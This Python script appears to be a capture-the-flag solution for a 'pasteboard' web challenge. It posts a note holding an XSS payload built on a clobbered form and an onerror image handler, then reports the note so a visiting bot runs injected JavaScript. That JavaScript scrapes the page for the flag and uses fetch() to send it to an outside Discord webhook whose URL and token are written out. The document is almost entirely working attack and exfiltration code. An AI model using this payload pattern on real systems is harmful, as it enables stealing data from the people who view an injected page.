#!/usr/bin/env python3
"""
Flag Extractor - Single Message Version (avoid rate limits)
"""
import requests
import time
from urllib.parse import urljoin

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
DISCORD_WEBHOOK = "https://discord.com/api/webhooks/1459424345695715369/Gnx874Rcb7-ZXqQ6VDy-M_nSB-Su9R8KHIkcyj890gv1e60djv89CJbCkyRi-QPc-HvH"

# Single message: find flag and send ONLY that
js_code = """
let html=document.documentElement.outerHTML;
let match=html.match(/uoftctf\\{[^}]+\\}/i);
let webhook='""" + DISCORD_WEBHOOK + """';
if(match){
fetch(webhook,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({content:'FLAG: '+match[0]})
});
}else{
fetch(webhook,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({content:'No flag found. HTML length: '+html.length+'. First 500 chars: '+html.substring(0,500)})
});
}
""".replace('\n', ' ')

payload = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{js_code}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

print("="*80)
print("FLAG EXTRACTOR - Single Message")
print("="*80)
print("Sends only the flag (avoids Discord rate limits)")
print("="*80)

response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "Get Flag", "body": payload},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    print(f"[+] Paste: {urljoin(CHALLENGE_URL, note_path)}")

    time.sleep(1)

    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"[+] Queued!")
        print(f"\nCheck Discord in 10 seconds for:")
        print(f"  'FLAG: uoftctf{{...}}'")
        print(f"  OR")
        print(f"  'No flag found...' with HTML preview")
    else:
        print(f"[-] Failed: {report_response.status_code}")
else:
    print(f"[-] Failed: {response.status_code}")
